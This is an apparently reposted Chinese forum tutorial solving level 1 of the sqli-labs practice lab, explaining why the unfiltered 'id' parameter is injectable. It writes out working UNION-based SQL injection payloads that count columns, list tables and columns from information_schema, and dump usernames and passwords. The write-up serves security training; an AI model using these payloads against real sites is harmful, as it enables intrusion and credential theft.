曂沅仴駦 发表于 2024-11-14 12:28:15

SQL注入sqli-labs-master关卡一

 本文环境搭建使用的是小皮,靶机压缩包:通过百度网盘分享的文件:sqli-labs-php7-master.zip
链接:https://pan.baidu.com/s/1xBfsi2lyrA1QgUWycRsHeQ?pwd=qwer 
提取码:qwer
下载解压至phpstudy的WWW目录下即可。
第一关如下:判定是否存在注入点。
页面提示我们输入ID作为数值参数,
https://i-blog.csdnimg.cn/direct/6bd0a7a203b34bb5a5fea9cce7f8194d.png
我们检察该关卡的php源码进行分析:第一步是要毗连MySQL,二这个MySQL进行了一个文件包含,将sql-connections/sqli-connect.php的文件代码参数用至index.php中,毗连至数据库后的if(isset($_GET['id']))等代码就是进行数据库的一个查询。这里的isset($_GET['id']))代码不知道是什么意思的可以去PHP: PHP 手册 - Manual进行一个查询:
https://i-blog.csdnimg.cn/direct/b23a07d784a54010b2002b9a56fbb9a6.png
https://i-blog.csdnimg.cn/direct/5cfa6e3f05e74d6ba56b297d52ebba27.png
传参有GET和POST两种传参方式,GET传参一般在欣赏器的地址栏中传参,POST传参一般在from表单中传参。然后我们传入id=1即输入?id=1,回车后页面显示如下我们的名字和暗码为Dumb。传入id=2时返回的名字暗码也不同,说明我们传入的值是被带进数据库中进行了一个查询并打印到前端页面中来。也就是说通过php源码我们可以看出该关卡的内容很简单,就是接收参数,查询数据库,前端显示的一个操作。
然后我们可以从中看出该代码存在的漏洞:起首没有对用户的输入进行一个过滤

https://i-blog.csdnimg.cn/direct/a3008acedcfe4080b2fa8c5f7e91dca3.png
https://i-blog.csdnimg.cn/direct/e61d34a774dc496e848fedf76bc6fd05.png
由于没有对用户输入做过滤,我们进行一个联合查询,注意地址栏中的%20是空格符,由于编码先转ASCLL码再转十六进制,前面的0x变为%更换。但是查询结果依然是?id=1的结果。
https://i-blog.csdnimg.cn/direct/8aa8fd45767d46df9ff1bde679b251c1.png
在源码中我们可以看到查询语句是这一句。https://i-blog.csdnimg.cn/direct/940b82449e864825bbc5c593c76c61e9.png
我们union select 1,2,3就相当于
https://i-blog.csdnimg.cn/direct/7eadfb9dfdc9423e9f381dbfe9c6e67a.png
注意前面id的单引号,我们联合查询的语句并没有进入,在数据库中执行的语句依然为id = 1,没有我们要联合查询的语句,所以我们要逃离单引号,逃离单引号我们可以加一个单引号使之闭合。
union select 1,2,3'就像这种,注意单双引号要成对出现,不然会报错。所以我们须要给他闭合上单引号。但是我们已经逃走了单引号的控制。
https://i-blog.csdnimg.cn/direct/037a13ee6fcf4224b8b1d0eb62ce86e4.png
我们联合查询多的单引号就要想办法去给他搞掉。我们有两个办法去把这个单引号弄掉;1.加个单引号,给它闭合上。2.给这个单引号注释掉。MySQL的注释符有三个:-- 和# 和/***/ */这三个注释符。若是依然报错,地址栏中注释符存在,则我们可以转为ASCII编码再转十六进制再去实验即可。
我们的终极目的是注入管理员的账号暗码,起首我们就须要知道管理员表表名和列名。
我们不知道管理员的表名列名,但是我们可以知道MySQL自带的三个表, information_schema, mysql,performance_schema 这三个表。重点放在信息表information_schema它包含了数据库里的全部表。
我们通过order by检测它的列数,?id=1'order by 1 --+通过1,2,3,4一个一个去实验,发现其列数为3列。https://i-blog.csdnimg.cn/direct/f886cf74717c45e7b263e907a75c5b60.png
查询前端显示的是1,2,3列中的那一列?id=-1'union select 1,2,3--+得到显示的是2,3列。这里将id值作为-1是为了让前面的语句失效再使用union查询是否有回显位。
https://i-blog.csdnimg.cn/direct/0ac2211e2e994c7886a3f2845c5b553f.png
查找它的数据库名字和版本?id=-1'union select 1,database(),version()--+得到它的数据库名为security。https://i-blog.csdnimg.cn/direct/52976180f333403ba7d1f6ff03733679.png
在information_schema中存在的columns表(列名)和table表(表名)是我们须要检察的地方。则通过
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+查询出表名。
https://i-blog.csdnimg.cn/direct/85a02763fca34eb682dc76c9b5f1be3c.png
在表名里我们看到了users用户表,再检察它的字段名?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+,https://i-blog.csdnimg.cn/direct/4f903861aed24475976b1f9f01bd7518.png
在里面我们看到了username表和password表。就直接进行查询这个users中的username和password。
?id=-1' union select 1,2,group_concat(username , password) from users--+
https://i-blog.csdnimg.cn/direct/83f14761d9a74eefaf06f0bdbe6e1803.png
拿到账号暗码这样看太抽象了,于是我又换了个代码查询。
?id=-1' union select 1,username,password from users where id=2 --+
https://i-blog.csdnimg.cn/direct/7c11f8c0f390429580198de98c0f7193.png
?id=-1' union select 1,username,password from users where id=3 --+
https://i-blog.csdnimg.cn/direct/b06d5886623f4e8baf3ade30b851f3b0.png
?id=-1' union select 1,username,password from users where id=4 --+
https://i-blog.csdnimg.cn/direct/215606c121b04836bd27a6105b87cc1f.png
上就是第一关的内容了。




免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: SQL注入sqli-labs-master关卡一